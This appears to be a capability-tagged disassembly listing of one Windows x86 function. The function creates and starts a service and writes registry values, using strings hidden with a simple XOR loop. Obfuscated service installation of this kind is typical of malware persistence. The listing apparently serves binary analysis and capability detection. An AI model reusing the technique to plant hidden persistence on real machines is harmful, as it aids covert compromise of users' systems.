Function at 0x10003c80
Capabilities:
Create service
Encode data using xor
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002853b
mov eax, dword fs:[0]
push eax
sub esp, 0x194
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14c], ecx
mov ebx, dword [ebp + 8]
xor esi, esi
mov edi, dword [ebp + 0xc]
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x1a0], eax
test eax, eax
jne 0x10003cee
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1000412b
movzx eax, ax
or eax, 0x80070000
jmp 0x1000412b
push 0
push 0
push 0
push 0
push 0
push ebx
push 1
push 3
push 1
push 0xf01ff
push edi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
test ebx, ebx
jne 0x10003d37
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jle 0x10004121
movzx esi, si
or esi, 0x80070000
jmp 0x10004121
push 0x90
lea eax, [ebp - 0xa4]
push 0
push eax
call fcn.10010ba0
lea eax, [ebp - 0x98]
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0xa4], eax
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x9c], esi
mov word [ebp - 0x98], ax
mov dword [ebp - 4], eax
xor ecx, ecx
mov eax, 0x24
mov dword [ebp - 0x198], 0xdd00d0
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x194], 0xd200d6
mov dword [ebp - 0x190], 0xc500c2
mov dword [ebp - 0x18c], 0xc900d5
mov dword [ebp - 0x188], 0xfe00fe
mov dword [ebp - 0x184], 0xeb00ff
mov dword [ebp - 0x180], 0xe400e1
mov dword [ebp - 0x17c], 0xfd00d2
mov dword [ebp - 0x178], 0xe000fd
mov dword [ebp - 0x174], 0xf900e7
mov dword [ebp - 0x170], 0xcb00fb
mov dword [ebp - 0x16c], 0xee00fc
mov dword [ebp - 0x168], 0xcf00c7
mov dword [ebp - 0x164], 0xec00f8
mov dword [ebp - 0x160], 0xc900e9
mov dword [ebp - 0x15c], 0xc700c2
mov dword [ebp - 0x158], 0xf800d0
mov dword [ebp - 0x154], 0xd50080
mov dword [ebp - 0x150], 0xa7
nop dword [eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x198], ax
inc ecx
mov eax, dword [ebp - 0x19c]
cmp ecx, eax
jb 0x10003e40
xor ecx, ecx
mov word [ebp + eax*2 - 0x198], cx
lea eax, [ebp - 0x198]
push edi
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.1000e4a0
push 0x9c
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.10010ba0
lea eax, [ebp - 0x128]
mov dword [ebp - method.TOOLS::RegistryKey.virtual_0], vtable.TOOLS::RegistryKey.0
mov dword [ebp - 0x134], eax
xor eax, eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov word [ebp - 0x128], ax
add esp, 0x10
mov byte [ebp - 4], 1
push dword [ebp - 0xa4]
push ecx
lea ecx, [ebp - 0x140]
call fcn.1000ec50
cmp dword [ebp - 0x13c], 0
je 0x10003fdd
mov dword [ebp - 0x148], 1
xor ecx, ecx
mov dword [ebp - 0x144], 0x8400f1
nop dword [eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x144], ax
inc ecx
mov eax, dword [ebp - 0x148]
cmp ecx, eax
jb 0x10003f00
mov edi, dword [ebp - 0x14c]
xor ecx, ecx
mov word [ebp + eax*2 - 0x144], cx
mov edx, dword [ebp - 0x13c]
mov edi, dword [edi + 0x28]
test edx, edx
je 0x10003f6f
mov ecx, edi
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003f40
sub ecx, dword [ebp - 0x14]
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 0x144]
push 1
push 0
push eax
push edx
call edi
jmp 0x10003f75
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x148], 1
xor eax, eax
mov dword [ebp - 0x144], 0x8400e0
nop dword [eax + eax]
lea ecx, [eax + 0x83]
xor word [ebp + eax*2 - 0x144], cx
inc eax
mov ecx, dword [ebp - 0x148]
cmp eax, ecx
jb 0x10003f90
xor eax, eax
mov word [ebp + ecx*2 - 0x144], ax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x13c]
test eax, eax
je 0x10003fdd
push 4
lea ecx, [ebp - 0x14]
push ecx
push 4
push 0
lea ecx, [ebp - 0x144]
push ecx
push eax
call edi
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1000402d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
je 0x1000402d
cmp eax, 2
je 0x1000402d
test eax, eax
jg 0x10004014
lea ecx, [ebp - 0x140]
mov esi, eax
call fcn.1000ebe0
jmp 0x100040b9
movzx esi, ax
lea ecx, [ebp - 0x140]
or esi, 0x80070000
call fcn.1000ebe0
jmp 0x100040b9
mov eax, dword [ebp - 0x13c]
mov dword [ebp - method.TOOLS::RegistryKey.virtual_0], vtable.TOOLS::RegistryKey.0
test eax, eax
je 0x1000405a
cmp eax, dword [ebp - 0x138]
je 0x10004050
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x128]
cmp eax, ecx
je 0x1000407f
push eax
call fcn.10016113
lea eax, [ebp - 0x128]
add esp, 4
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x130]
test eax, eax
je 0x1000409c
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x12c]
test eax, eax
je 0x100040b9
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x98]
cmp eax, ecx
je 0x100040de
push eax
call fcn.10016113
lea eax, [ebp - 0x98]
add esp, 4
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x100040fb
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0x9c]
test eax, eax
je 0x10004118
push eax
call fcn.10016113
mov dword [ebp - 0x9c], 0
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call edi
push dword [ebp - 0x1a0]
call edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 8